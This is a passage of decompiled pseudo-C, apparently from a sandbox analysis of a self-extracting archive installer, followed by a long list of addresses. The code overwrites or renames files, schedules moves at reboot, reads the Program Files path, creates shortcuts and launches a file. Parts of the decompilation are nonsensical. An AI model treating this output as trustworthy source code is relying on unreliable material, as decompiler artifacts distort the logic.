									E0135A188(E0135B625(_t285 - 0x7c84, _t285 - 0x5c84, _t285 - 0xdc8c, 0x800), _t263, _t285 - 0x8c8c, 0x800);
									 *(_t285 - 4) = _t277;
									E0135A2C2(_t285 - 0x8c8c, _t285 - 0xdc8c);
									E01356EF9(_t285 - 0x3c84);
									_push(_t277);
									_t271 = _t285 - 0x8c8c;
									_t224 = E0135A215(_t285 - 0x8c8c, _t276, _t285 - 0x3c84);
									__eflags = _t224;
									if(_t224 == 0) {
										L26:
										 *(_t285 - 4) =  *(_t285 - 4) | 0xffffffff;
										E0135A19E(_t285 - 0x8c8c);
										goto L164;
									} else {
										goto L13;
										L14:
										E0135B1B7(_t271, __eflags, _t285 - 0x7c84, _t285 - 0x103c, _t282);
										E0135AEA5(__eflags, _t285 - 0x103c, _t282);
										_t284 = E01372B33(_t285 - 0x7c84);
										__eflags = _t284 - 4;
										if(_t284 < 4) {
											L16:
											_t252 = E0135B5E5(_t285 - 0x5c84);
											__eflags = _t252;
											if(_t252 != 0) {
												goto L26;
											}
											L17:
											_t254 = E01372B33(_t285 - 0x3c84);
											__eflags = 0;
											 *((short*)(_t285 + _t254 * 2 - 0x3c82)) = 0;
											E0136E920(_t277, _t285 - 0x3c, _t277, 0x1e);
											_t287 = _t287 + 0x10;
											 *((intOrPtr*)(_t285 - 0x38)) = 3;
											_push(0x14);
											_pop(_t257);
											 *((short*)(_t285 - 0x2c)) = _t257;
											 *((intOrPtr*)(_t285 - 0x34)) = _t285 - 0x3c84;
											_push(_t285 - 0x3c);
											 *0x138def4();
											goto L18;
										}
										L15:
										_t262 = E01372B33(_t285 - 0x103c);
										__eflags = _t284 - _t262;
										if(_t284 > _t262) {
											goto L17;
										}
										goto L16;
										L18:
										_t229 = GetFileAttributesW(_t285 - 0x3c84);
										__eflags = _t229 - 0xffffffff;
										if(_t229 == 0xffffffff) {
											L25:
											_push(_t277);
											_t271 = _t285 - 0x8c8c;
											_t231 = E0135A215(_t285 - 0x8c8c, _t276, _t285 - 0x3c84);
											__eflags = _t231;
											if(_t231 != 0) {
												_t282 = 0x800;
												L13:
												SetFileAttributesW(_t285 - 0x3c84, _t277);
												__eflags =  *((char*)(_t285 - 0x2c78));
												if(__eflags == 0) {
													goto L18;
												}
												goto L14;
											}
											goto L26;
										}
										L19:
										_t233 = DeleteFileW(_t285 - 0x3c84);
										__eflags = _t233;
										if(_t233 != 0) {
											goto L25;
										} else {
											_t283 = _t277;
											_push(_t277);
											goto L22;
											L22:
											E01353E41(_t285 - 0x103c, 0x800, L"%s.%d.tmp", _t285 - 0x3c84);
											_t287 = _t287 + 0x14;
											_t238 = GetFileAttributesW(_t285 - 0x103c);
											__eflags = _t238 - 0xffffffff;
											if(_t238 != 0xffffffff) {
												_t283 = _t283 + 1;
												__eflags = _t283;
												_push(_t283);
												goto L22;
											} else {
												_t241 = MoveFileW(_t285 - 0x3c84, _t285 - 0x103c);
												__eflags = _t241;
												if(_t241 != 0) {
													MoveFileExW(_t285 - 0x103c, _t277, 4);
												}
												goto L25;
											}
										}
									}
								case 1:
									L27:
									__eflags = __ebx;
									if(__ebx == 0) {
										__eax =  *0x13ace0c;
										__eflags =  *0x13ace0c;
										__ebx = __ebx & 0xffffff00 |  *0x13ace0c == 0x00000000;
										__eflags = __bl;
										if(__bl == 0) {
											__eax =  *0x13ace0c;
											_pop(__ecx);
											_pop(__ecx);
										}
										L30:
										__bh =  *((intOrPtr*)(__ebp - 0xd));
										__eflags = __bh;
										if(__eflags == 0) {
											__eax = __ebp + 0xc;
											_push(__ebp + 0xc);
											__esi = E0136A2AE(__ecx, __edx, __eflags);
											__eax =  *0x13ace0c;
										} else {
											__esi = __ebp - 0x5c84;
										}
										__eflags = __bl;
										if(__bl == 0) {
											__edi = __eax;
										}
										L35:
										__eax = E01372B33(__esi);
										__eax = __eax + __edi;
										_push(__eax);
										_push( *0x13ace0c);
										__eax = E01372B5E(__ecx, __edx);
										__esp = __esp + 0xc;
										__eflags = __eax;
										if(__eax != 0) {
											 *0x13ace0c = __eax;
											__eflags = __bl;
											if(__bl != 0) {
												__ecx = 0;
												__eflags = 0;
												 *__eax = __cx;
											}
											__eax = E013766ED(__eax, __esi);
											_pop(__ecx);
											_pop(__ecx);
										}
										__eflags = __bh;
										if(__bh == 0) {
											__eax = L01372B4E(__esi);
										}
									}
									goto L164;
								case 2:
									L41:
									__eflags = __ebx;
									if(__ebx == 0) {
										__ebp - 0x5c84 = SetWindowTextW( *(__ebp + 8), __ebp - 0x5c84);
									}
									goto L164;
								case 3:
									L43:
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L164;
									}
									L44:
									__eflags =  *0x1399602 - __di;
									if( *0x1399602 != __di) {
										goto L164;
									}
									L45:
									__eax = 0;
									__edi = __ebp - 0x5c84;
									_push(0x22);
									 *(__ebp - 0x103c) = __ax;
									_pop(__eax);
									__eflags =  *(__ebp - 0x5c84) - __ax;
									if( *(__ebp - 0x5c84) == __ax) {
										__edi = __ebp - 0x5c82;
									}
									__eax = E01372B33(__edi);
									__esi = 0x800;
									__eflags = __eax - 0x800;
									if(__eax >= 0x800) {
										goto L164;
									} else {
										L48:
										__eax =  *__edi & 0x0000ffff;
										_push(0x5c);
										_pop(__ecx);
										__eflags = ( *__edi & 0x0000ffff) - 0x2e;
										if(( *__edi & 0x0000ffff) != 0x2e) {
											L52:
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L64:
												__ebp - 0x103c = E0135FAB1(__ebp - 0x103c, __edi, __esi);
												__ebx = 0;
												__eflags = 0;
												L65:
												_push(0x22);
												_pop(__eax);
												__eax = __ebp - 0x103c;
												__eax = E01370D9B(__ebp - 0x103c, __ebp - 0x103c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__eflags =  *((intOrPtr*)(__eax + 2)) - __bx;
													if( *((intOrPtr*)(__eax + 2)) == __bx) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
												}
												__eax = __ebp - 0x103c;
												__edi = 0x1399602;
												E0135FAB1(0x1399602, __ebp - 0x103c, __esi) = __ebp - 0x103c;
												__eax = E01369FFC(__ebp - 0x103c, __esi);
												__esi = GetDlgItem( *(__ebp + 8), 0x66);
												__ebp - 0x103c = SetWindowTextW(__esi, __ebp - 0x103c); // executed
												__ebx =  *0x138df7c;
												__eax = SendMessageW(__esi, 0x143, __ebx, 0x1399602); // executed
												__eax = __ebp - 0x103c;
												__eax = E01372B69(__ebp - 0x103c, 0x1399602, __eax);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__ebp - 0x103c = 0;
													__eax = SendMessageW(__esi, 0x143, 0, __ebp - 0x103c);
												}
												goto L164;
											}
											L53:
											__eflags = __ax;
											if(__ax == 0) {
												L55:
												__eax = __ebp - 0x18;
												__ebx = 0;
												_push(__ebp - 0x18);
												_push(1);
												_push(0);
												_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
												_push(0x80000002);
												__eax =  *0x138dea8();
												__eflags = __eax;
												if(__eax == 0) {
													__eax = __ebp - 0x14;
													 *(__ebp - 0x14) = 0x1000;
													_push(__ebp - 0x14);
													__eax = __ebp - 0x103c;
													_push(__ebp - 0x103c);
													__eax = __ebp - 0x1c;
													_push(__ebp - 0x1c);
													_push(0);
													_push(L"ProgramFilesDir");
													_push( *(__ebp - 0x18));
													__eax =  *0x138dea4();
													_push( *(__ebp - 0x18));
													 *0x138de84() =  *(__ebp - 0x14);
													__ecx = 0x7ff;
													__eax =  *(__ebp - 0x14) >> 1;
													__eflags = __eax - 0x7ff;
													if(__eax >= 0x7ff) {
														__eax = 0x7ff;
													}
													__ecx = 0;
													__eflags = 0;
													 *((short*)(__ebp + __eax * 2 - 0x103c)) = __cx;
												}
												__eflags =  *(__ebp - 0x103c) - __bx;
												if( *(__ebp - 0x103c) != __bx) {
													__eax = __ebp - 0x103c;
													__eax = E01372B33(__ebp - 0x103c);
													_push(0x5c);
													_pop(__ecx);
													__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x103e)) - __cx;
													if(__eflags != 0) {
														__ebp - 0x103c = E0135FA89(__eflags, __ebp - 0x103c, "\\", __esi);
													}
												}
												__esi = E01372B33(__edi);
												__eax = __ebp - 0x103c;
												__eflags = __esi - 0x7ff;
												__esi = 0x800;
												if(__eflags < 0) {
													__ebp - 0x103c = E0135FA89(__eflags, __ebp - 0x103c, __edi, 0x800);
												}
												goto L65;
											}
											L54:
											__eflags =  *((short*)(__edi + 2)) - 0x3a;
											if( *((short*)(__edi + 2)) == 0x3a) {
												goto L64;
											}
											goto L55;
										}
										L49:
										__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
										if( *((intOrPtr*)(__edi + 2)) != __cx) {
											goto L52;
										}
										L50:
										__edi = __edi + 4;
										__ebx = 0;
										__eflags =  *__edi - __bx;
										if( *__edi == __bx) {
											goto L164;
										}
										L51:
										__ebp - 0x103c = E0135FAB1(__ebp - 0x103c, __edi, 0x800);
										goto L65;
									}
								case 4:
									L70:
									__eflags =  *0x13995fc - 1;
									__eflags = __eax - 0x13995fc;
									 *__edi =  *__edi + __ecx;
									__eflags =  *(__ebx + 6) & __bl;
									 *__eax =  *__eax + __al;
									__eflags =  *__eax;
								case 5:
									L75:
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__ecx = 0;
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__eflags = __eax;
									if(__eax == 0) {
										L82:
										 *0x13975d2 = __cl;
										 *0x13975d3 = 1;
										goto L164;
									}
									L76:
									__eax = __eax - 0x30;
									__eflags = __eax;
									if(__eax == 0) {
										L80:
										 *0x13975d2 = __cl;
										L81:
										 *0x13975d3 = __cl;
										goto L164;
									}
									L77:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax == 0) {
										goto L82;
									}
									L78:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax != 0) {
										goto L164;
									}
									L79:
									 *0x13975d2 = 1;
									goto L81;
								case 6:
									L88:
									__eflags = __ebx - 4;
									if(__ebx != 4) {
										goto L92;
									}
									L89:
									__eax = __ebp - 0x5c84;
									__eax = E01372B69(__ebp - 0x5c84, __eax, L"<>");
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax == 0) {
										goto L92;
									}
									L90:
									_push(__edi);
									goto L91;
								case 7:
									goto L0;
								case 8:
									L116:
									__eflags = __ebx - 3;
									if(__ebx == 3) {
										__eflags =  *(__ebp - 0x5c84) - __di;
										if(__eflags != 0) {
											__eax = __ebp - 0x5c84;
											_push(__ebp - 0x5c84);
											__eax = E0137668C(__ebx, __edi);
											_pop(__ecx);
											 *0x13ade1c = __eax;
										}
										__eax = __ebp + 0xc;
										_push(__ebp + 0xc);
										 *0x13ade18 = E0136A2AE(__ecx, __edx, __eflags);
									}
									 *0x13a5d03 = 1;
									goto L164;
								case 9:
									L121:
									__eflags = __ebx - 5;
									if(__ebx != 5) {
										L92:
										 *0x13ade20 = 1;
										goto L164;
									}
									L122:
									_push(1);
									L91:
									__eax = __ebp - 0x5c84;
									_push(__ebp - 0x5c84);
									_push( *(__ebp + 8));
									__eax = E0136C431();
									goto L92;
								case 0xa:
									L123:
									__eflags = __ebx - 6;
									if(__ebx != 6) {
										goto L164;
									}
									L124:
									__eax = 0;
									 *(__ebp - 0x2c3c) = __ax;
									__eax =  *(__ebp - 0x1bc8c) & 0x0000ffff;
									__eax = E013759C0( *(__ebp - 0x1bc8c) & 0x0000ffff);
									_push(0x800);
									__eflags = __eax - 0x50;
									if(__eax == 0x50) {
										_push(0x13aad0a);
										__eax = __ebp - 0x2c3c;
										_push(__ebp - 0x2c3c);
										__eax = E0135FAB1();
										 *(__ebp - 0x14) = 2;
									} else {
										__eflags = __eax - 0x54;
										__eax = __ebp - 0x2c3c;
										if(__eflags == 0) {
											_push(0x13a9d0a);
											_push(__eax);
											__eax = E0135FAB1();
											 *(__ebp - 0x14) = 7;
										} else {
											_push(0x13abd0a);
											_push(__eax);
											__eax = E0135FAB1();
											 *(__ebp - 0x14) = 0x10;
										}
									}
									__eax = 0;
									 *(__ebp - 0x9c8c) = __ax;
									 *(__ebp - 0x1c3c) = __ax;
									__ebp - 0x19c8c = __ebp - 0x6c84;
									__eax = E01374D7E(__ebp - 0x6c84, __ebp - 0x19c8c);
									_pop(__ecx);
									_pop(__ecx);
									_push(0x22);
									_pop(__ebx);
									__eflags =  *(__ebp - 0x6c84) - __bx;
									if( *(__ebp - 0x6c84) != __bx) {
										L132:
										__ebp - 0x6c84 = E01359E6B(__ebp - 0x6c84);
										__eflags = __al;
										if(__al != 0) {
											goto L149;
										}
										L133:
										__ebx = __edi;
										__esi = __ebp - 0x6c84;
										__eflags =  *(__ebp - 0x6c84) - __bx;
										if( *(__ebp - 0x6c84) == __bx) {
											goto L149;
										}
										L134:
										_push(0x20);
										_pop(__ecx);
										do {
											L135:
											__eax = __esi->i & 0x0000ffff;
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L137:
												__edi = __eax;
												__eax = 0;
												__esi->i = __ax;
												__ebp - 0x6c84 = E01359E6B(__ebp - 0x6c84);
												__eflags = __al;
												if(__al == 0) {
													L144:
													__esi->i = __di;
													L145:
													_push(0x20);
													_pop(__ecx);
													__edi = 0;
													__eflags = 0;
													goto L146;
												}
												L138:
												_push(0x2f);
												_pop(__eax);
												__ebx = __esi;
												__eflags = __di - __ax;
												if(__di != __ax) {
													L140:
													_push(0x20);
													_pop(__eax);
													do {
														L141:
														__esi =  &(__esi->i);
														__eflags = __esi->i - __ax;
													} while (__esi->i == __ax);
													_push(__esi);
													__eax = __ebp - 0x1c3c;
													L143:
													_push(__eax);
													__eax = E01374D7E();
													_pop(__ecx);
													_pop(__ecx);
													 *__ebx = __di;
													goto L145;
												}
												L139:
												 *(__ebp - 0x1c3c) = __ax;
												__eax =  &(__esi->i);
												_push( &(__esi->i));
												__eax = __ebp - 0x1c3a;
												goto L143;
											}
											L136:
											_push(0x2f);
											_pop(__edx);
											__eflags = __ax - __dx;
											if(__ax != __dx) {
												goto L146;
											}
											goto L137;
											L146:
											__esi =  &(__esi->i);
											__eflags = __esi->i - __di;
										} while (__esi->i != __di);
										__eflags = __ebx;
										if(__ebx != 0) {
											__eax = 0;
											__eflags = 0;
											 *__ebx = __ax;
										}
										goto L149;
									} else {
										L130:
										__ebp - 0x19c8a = __ebp - 0x6c84;
										E01374D7E(__ebp - 0x6c84, __ebp - 0x19c8a) = __ebp - 0x6c82;
										_push(__ebx);
										_push(__ebp - 0x6c82);
										__eax = E01370BB8(__ecx);
										__esp = __esp + 0x10;
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = 0;
											 *__eax = __cx;
											__ebp - 0x1c3c = E01374D7E(__ebp - 0x1c3c, __ebp - 0x1c3c);
											_pop(__ecx);
											_pop(__ecx);
										}
										L149:
										__eflags =  *(__ebp - 0x11c8c);
										__ebx = 0x800;
										if( *(__ebp - 0x11c8c) != 0) {
											_push(0x800);
											__eax = __ebp - 0x9c8c;
											_push(__ebp - 0x9c8c);
											__eax = __ebp - 0x11c8c;
											_push(__ebp - 0x11c8c);
											__eax = E0135AED7();
										}
										_push(__ebx);
										__eax = __ebp - 0xbc8c;
										_push(__ebp - 0xbc8c);
										__eax = __ebp - 0x6c84;
										_push(__ebp - 0x6c84);
										__eax = E0135AED7();
										__eflags =  *(__ebp - 0x2c3c);
										if(__eflags == 0) {
											__ebp - 0x2c3c = E0136A24E(__ecx, __ebp - 0x2c3c,  *(__ebp - 0x14));
										}
										__ebp - 0x2c3c = E0135AEA5(__eflags, __ebp - 0x2c3c, __ebx);
										__eflags =  *((short*)(__ebp - 0x17c8c));
										if(__eflags != 0) {
											__ebp - 0x17c8c = __ebp - 0x2c3c;
											E0135FA89(__eflags, __ebp - 0x2c3c, __ebp - 0x17c8c, __ebx) = __ebp - 0x2c3c;
											__eax = E0135AEA5(__eflags, __ebp - 0x2c3c, __ebx);
										}
										__ebp - 0x2c3c = __ebp - 0xcc8c;
										__eax = E01374D7E(__ebp - 0xcc8c, __ebp - 0x2c3c);
										__eflags =  *(__ebp - 0x13c8c);
										__eax = __ebp - 0x13c8c;
										_pop(__ecx);
										_pop(__ecx);
										if(__eflags == 0) {
											__eax = __ebp - 0x19c8c;
										}
										__ebp - 0x2c3c = E0135FA89(__eflags, __ebp - 0x2c3c, __ebp - 0x2c3c, __ebx);
										__eax = __ebp - 0x2c3c;
										__eflags = E0135B153(__ebp - 0x2c3c);
										if(__eflags == 0) {
											L159:
											__ebp - 0x2c3c = E0135FA89(__eflags, __ebp - 0x2c3c, L".lnk", __ebx);
											goto L160;
										} else {
											L158:
											__eflags = __eax;
											if(__eflags == 0) {
												L160:
												_push(1);
												__eax = __ebp - 0x2c3c;
												_push(__ebp - 0x2c3c);
												E01359D3A(__ecx, __ebp) = __ebp - 0xbc8c;
												__ebp - 0xac8c = E01374D7E(__ebp - 0xac8c, __ebp - 0xbc8c);
												_pop(__ecx);
												_pop(__ecx);
												__ebp - 0xac8c = E0135B98D(__eflags, __ebp - 0xac8c);
												__ecx =  *(__ebp - 0x1c3c) & 0x0000ffff;
												__eax = __ebp - 0x1c3c;
												__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff);
												__edx = __ebp - 0x9c8c;
												__esi = __ebp - 0xac8c;
												asm("sbb ecx, ecx");
												__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c;
												 *(__ebp - 0x9c8c) & 0x0000ffff =  ~( *(__ebp - 0x9c8c) & 0x0000ffff);
												asm("sbb eax, eax");
												__eax =  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c;
												 *(__ebp - 0xac8c) & 0x0000ffff =  ~( *(__ebp - 0xac8c) & 0x0000ffff);
												__eax = __ebp - 0x15c8c;
												asm("sbb edx, edx");
												__edx =  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi;
												E01369D41(__ebp - 0x15c8c) = __ebp - 0x2c3c;
												__ebp - 0xbc8c = E01369450(__ecx, __edi, __ebp - 0xbc8c, __ebp - 0x2c3c,  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi, __ebp - 0xbc8c,  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c,  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c);
												__eflags =  *(__ebp - 0xcc8c);
												if( *(__ebp - 0xcc8c) != 0) {
													_push(__edi);
													__eax = __ebp - 0xcc8c;
													_push(__ebp - 0xcc8c);
													_push(5);
													_push(0x1000);
													__eax =  *0x138def8();
												}
												goto L164;
											}
											goto L159;
										}
									}
								case 0xb:
									L162:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										 *0x1399600 = 1;
									}
									goto L164;
								case 0xc:
									L83:
									__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
									__eax = E013759C0( *(__ebp - 0x5c84) & 0x0000ffff);
									__eflags = __eax - 0x46;
									if(__eax == 0x46) {
										 *0x13975d4 = 1;
									} else {
										__eflags = __eax - 0x55;
										if(__eax == 0x55) {
											 *0x13975d5 = 1;
										} else {
											__eax = 0;
											 *0x13975d4 = __al;
											 *0x13975d5 = __al;
										}
									}
									goto L164;
								case 0xd:
									L93:
									 *0x13ade21 = 1;
									__eax = __eax + 0x13ade21;
									_t104 = __esi + 0x39;
									 *_t104 =  *(__esi + 0x39) + __esp;
									__eflags =  *_t104;
									__ebp = 0xffffa37c;
									if( *_t104 != 0) {
										_t106 = __ebp - 0x5c84; // 0xffff46f8
										__eax = _t106;
										_push(_t106);
										 *0x138d5fc = E013613FC();
									}
									goto L164;
							}
							L2:
							_t210 = E01369E24(_t210, _t279);
							_t279 = _t279 + 0x2000;
							_t277 = _t277 - 1;
							if(_t277 != 0) {
								goto L2;
							} else {
								_t280 = _t277;
								goto L4;
							}
						}
						L165:
						 *[fs:0x0] =  *((intOrPtr*)(_t285 - 0xc));
						return _t209;
					}
					L100:
					__eflags =  *0x13a5d02;
					if( *0x13a5d02 != 0) {
						goto L164;
					}
					L101:
					__eax = 0;
					 *(__ebp - 0x143c) = __ax;
					__eax = __ebp - 0x5c84;
					_push(__ebp - 0x5c84);
					__eax = E01370BB8(__ecx);
					_pop(__ecx);
					__ecx = 0x2c;
					__eflags = __eax;
					if(__eax != 0) {
						L108:
						__eflags =  *(__ebp - 0x143c);
						if( *(__ebp - 0x143c) == 0) {
							__ebp - 0x1bc8c = __ebp - 0x5c84;
							E0135FAB1(__ebp - 0x5c84, __ebp - 0x1bc8c, 0x1000) = __ebp - 0x19c8c;
							__ebp - 0x143c = E0135FAB1(__ebp - 0x143c, __ebp - 0x19c8c, 0x200);
						}
						__ebp - 0x5c84 = E01369C4F(__ebp - 0x5c84);
						__eax = 0;
						 *(__ebp - 0x4c84) = __ax;
						__ebp - 0x143c = __ebp - 0x5c84;
						__eax = E01369735( *(__ebp + 8), __ebp - 0x5c84, __ebp - 0x143c, 0x24);
						__eflags = __eax - 6;
						if(__eax == 6) {
							goto L164;
						} else {
							L111:
							__eax = 0;
							__eflags = 0;
							 *0x13975d7 = 1;
							 *0x13985fa = __ax;
							__eax = EndDialog( *(__ebp + 8), 1);
							goto L112;
						}
					}
					L102:
					__esi = 0;
					__eflags =  *(__ebp - 0x5c84) - __dx;
					if( *(__ebp - 0x5c84) == __dx) {
						goto L108;
					}
					L103:
					__ecx = 0;
					__eax = __ebp - 0x5c84;
					while(1) {
						L104:
						__eflags =  *__eax - 0x40;
						if( *__eax == 0x40) {
							break;
						}
						L105:
						__esi =  &(__esi->i);
						__eax = __ebp - 0x5c84;
						__ecx = __esi + __esi;
						__eax = __ebp - 0x5c84 + __ecx;
						__eflags =  *__eax - __dx;
						if( *__eax != __dx) {
							continue;
						}
						L106:
						goto L108;
					}
					L107:
					__ebp - 0x5c82 = __ebp - 0x5c82 + __ecx;
					__ebp - 0x143c = E0135FAB1(__ebp - 0x143c, __ebp - 0x5c82 + __ecx, 0x200);
					__eax = 0;
					__eflags = 0;
					 *(__ebp + __esi * 2 - 0x5c84) = __ax;
					goto L108;
					L112:
					__eflags = _t263 - 7;
					if(_t263 == 7) {
						__eflags =  *0x13995fc;
						if( *0x13995fc == 0) {
							 *0x13995fc = 2;
						}
						 *0x13985f8 = 1;
					}
					goto L164;
				}
			}

0x0136bb5b
0x0136bb5b
0x0136bb5b
0x0136bb5b
0x0136bb5e
0x00000000
0x00000000
0x0136bb64
0x0136bb64
0x0136bb6a
0x0136bb78
0x0136bb84
0x0136bb86
0x0136bb88
0x0136bb8d
0x0136bb8d
0x0136bb8d
0x0136bba5
0x0136bbb2
0x0136bbb7
0x0136bbb9
0x00000000
0x00000000
0x0136bb8b
0x0136bb8b
0x0136bb8b
0x0136bb8c
0x0136bb8c
0x0136bbbb
0x0136bbc5
0x0136bbcb
0x0136bbd3
0x0136c093
0x0136c093
0x0136c093
0x0136c098
0x0136c09c
0x0136c0a0
0x0136c0a7
0x0136c0ae
0x0136c0b1
0x0136c0b6
0x0136c0b9
0x0136c0be
0x0136b51d
0x0136b523
0x0136b529
0x0136b529
0x00000000
0x00000000
0x00000000
0x00000000
0x0136b53e
0x0136b555
0x0136b559
0x00000000
0x0136b55b
0x00000000
0x0136b55b
0x0136b559
0x0136b560
0x0136b563
0x00000000
0x00000000
0x0136b569
0x0136b569
0x00000000
0x0136b570
0x0136b570
0x0136b573
0x00000000
0x00000000
0x0136b579
0x0136b579
0x0136b586
0x0136b5ac
0x0136b5b7
0x0136b5c1
0x0136b5cc
0x0136b5d1
0x0136b5d9
0x0136b5df
0x0136b5e4
0x0136b5e6
0x0136b74b
0x0136b74b
0x0136b755
0x00000000
0x0136b5ec
0x0136b5f2
0x0136b614
0x0136b623
0x0136b630
0x0136b641
0x0136b644
0x0136b647
0x0136b65a
0x0136b661
0x0136b666
0x0136b668
0x00000000
0x00000000
0x0136b66e
0x0136b675
0x0136b67a
0x0136b67f
0x0136b68b
0x0136b690
0x0136b693
0x0136b69a
0x0136b69c
0x0136b69d
0x0136b6a7
0x0136b6ad
0x0136b6ae
0x00000000
0x0136b6ae
0x0136b649
0x0136b650
0x0136b656
0x0136b658
0x00000000
0x00000000
0x00000000
0x0136b6b4
0x0136b6bb
0x0136b6bd
0x0136b6c0
0x0136b730
0x0136b730
0x0136b738
0x0136b73e
0x0136b743
0x0136b745
0x0136b5f4
0x0136b5f9
0x0136b601
0x0136b607
0x0136b60e
0x00000000
0x00000000
0x00000000
0x0136b60e
0x00000000
0x0136b745
0x0136b6c2
0x0136b6c9
0x0136b6cf
0x0136b6d1
0x00000000
0x0136b6d3
0x0136b6d3
0x0136b6d5
0x0136b6d6
0x0136b6da
0x0136b6f2
0x0136b6f7
0x0136b701
0x0136b703
0x0136b706
0x0136b6d8
0x0136b6d8
0x0136b6d9
0x00000000
0x0136b708
0x0136b716
0x0136b71c
0x0136b71e
0x0136b72a
0x0136b72a
0x00000000
0x0136b71e
0x0136b706
0x0136b6d1
0x00000000
0x0136b75f
0x0136b75f
0x0136b761
0x0136b767
0x0136b76c
0x0136b76e
0x0136b771
0x0136b773
0x0136b780
0x0136b785
0x0136b786
0x0136b786
0x0136b787
0x0136b787
0x0136b78a
0x0136b78c
0x0136b796
0x0136b799
0x0136b79f
0x0136b7a1
0x0136b78e
0x0136b78e
0x0136b78e
0x0136b7a6
0x0136b7a8
0x0136b7b1
0x0136b7b1
0x0136b7b3
0x0136b7b4
0x0136b7b9
0x0136b7c2
0x0136b7c3
0x0136b7c9
0x0136b7ce
0x0136b7d1
0x0136b7d3
0x0136b7d5
0x0136b7da
0x0136b7dc
0x0136b7de
0x0136b7de
0x0136b7e0
0x0136b7e0
0x0136b7e5
0x0136b7ea
0x0136b7eb
0x0136b7eb
0x0136b7ec
0x0136b7ee
0x0136b7f5
0x0136b7fa
0x0136b7ee
0x00000000
0x00000000
0x0136b800
0x0136b800
0x0136b802
0x0136b812
0x0136b812
0x00000000
0x00000000
0x0136b81d
0x0136b81d
0x0136b81f
0x00000000
0x00000000
0x0136b825
0x0136b825
0x0136b82c
0x00000000
0x00000000
0x0136b832
0x0136b832
0x0136b834
0x0136b83a
0x0136b83c
0x0136b843
0x0136b844
0x0136b84b
0x0136b84d
0x0136b84d
0x0136b854
0x0136b859
0x0136b85f
0x0136b861
0x00000000
0x0136b867
0x0136b867
0x0136b867
0x0136b86a
0x0136b86c
0x0136b86d
0x0136b870
0x0136b899
0x0136b899
0x0136b89c
0x0136b981
0x0136b98a
0x0136b98f
0x0136b98f
0x0136b991
0x0136b991
0x0136b993
0x0136b995
0x0136b99c
0x0136b9a1
0x0136b9a2
0x0136b9a3
0x0136b9a5
0x0136b9a7
0x0136b9ab
0x0136b9ad
0x0136b9ad
0x0136b9af
0x0136b9af
0x0136b9ab
0x0136b9b3
0x0136b9b9
0x0136b9c6
0x0136b9cd
0x0136b9dd
0x0136b9e7
0x0136b9ef
0x0136b9fb
0x0136b9fd
0x0136ba05
0x0136ba0a
0x0136ba0b
0x0136ba0c
0x0136ba0e
0x0136ba1b
0x0136ba24
0x0136ba24
0x00000000
0x0136ba0e
0x0136b8a2
0x0136b8a2
0x0136b8a5
0x0136b8b2
0x0136b8b2
0x0136b8b5
0x0136b8b7
0x0136b8b8
0x0136b8ba
0x0136b8bb
0x0136b8c0
0x0136b8c5
0x0136b8cb
0x0136b8cd
0x0136b8cf
0x0136b8d2
0x0136b8d9
0x0136b8da
0x0136b8e0
0x0136b8e1
0x0136b8e4
0x0136b8e5
0x0136b8e6
0x0136b8eb
0x0136b8ee
0x0136b8f4
0x0136b8fd
0x0136b900
0x0136b905
0x0136b907
0x0136b909
0x0136b90b
0x0136b90b
0x0136b90d
0x0136b90d
0x0136b90f
0x0136b90f
0x0136b917
0x0136b91e
0x0136b920
0x0136b927
0x0136b92d
0x0136b92f
0x0136b930
0x0136b938
0x0136b947
0x0136b947
0x0136b938
0x0136b952
0x0136b954
0x0136b963
0x0136b969
0x0136b96f
0x0136b97a
0x0136b97a
0x00000000
0x0136b96f
0x0136b8a7
0x0136b8a7
0x0136b8ac
0x00000000
0x00000000
0x00000000
0x0136b8ac
0x0136b872
0x0136b872
0x0136b876
0x00000000
0x00000000
0x0136b878
0x0136b878
0x0136b87b
0x0136b87d
0x0136b880
0x00000000
0x00000000
0x0136b886
0x0136b88f
0x00000000
0x0136b88f
0x00000000
0x0136ba2b
0x0136ba2b
0x0136ba2c
0x0136ba31
0x0136ba33
0x0136ba36
0x0136ba36
0x00000000
0x0136ba6c
0x0136ba6c
0x0136ba73
0x0136ba75
0x0136ba75
0x0136ba77
0x0136baa6
0x0136baa6
0x0136baac
0x00000000
0x0136baac
0x0136ba79
0x0136ba79
0x0136ba79
0x0136ba7c
0x0136ba95
0x0136ba95
0x0136ba9b
0x0136ba9b
0x00000000
0x0136ba9b
0x0136ba7e
0x0136ba7e
0x0136ba7e
0x0136ba81
0x00000000
0x00000000
0x0136ba83
0x0136ba83
0x0136ba83
0x0136ba86
0x00000000
0x00000000
0x0136ba8c
0x0136ba8c
0x00000000
0x00000000
0x0136baf9
0x0136baf9
0x0136bafc
0x00000000
0x00000000
0x0136bafe
0x0136bafe
0x0136bb0a
0x0136bb0f
0x0136bb10
0x0136bb11
0x0136bb13
0x00000000
0x00000000
0x0136bb15
0x0136bb15
0x00000000
0x00000000
0x00000000
0x00000000
0x0136bd07
0x0136bd07
0x0136bd0a
0x0136bd0c
0x0136bd13
0x0136bd15
0x0136bd1b
0x0136bd1c
0x0136bd21
0x0136bd22
0x0136bd22
0x0136bd27
0x0136bd2a
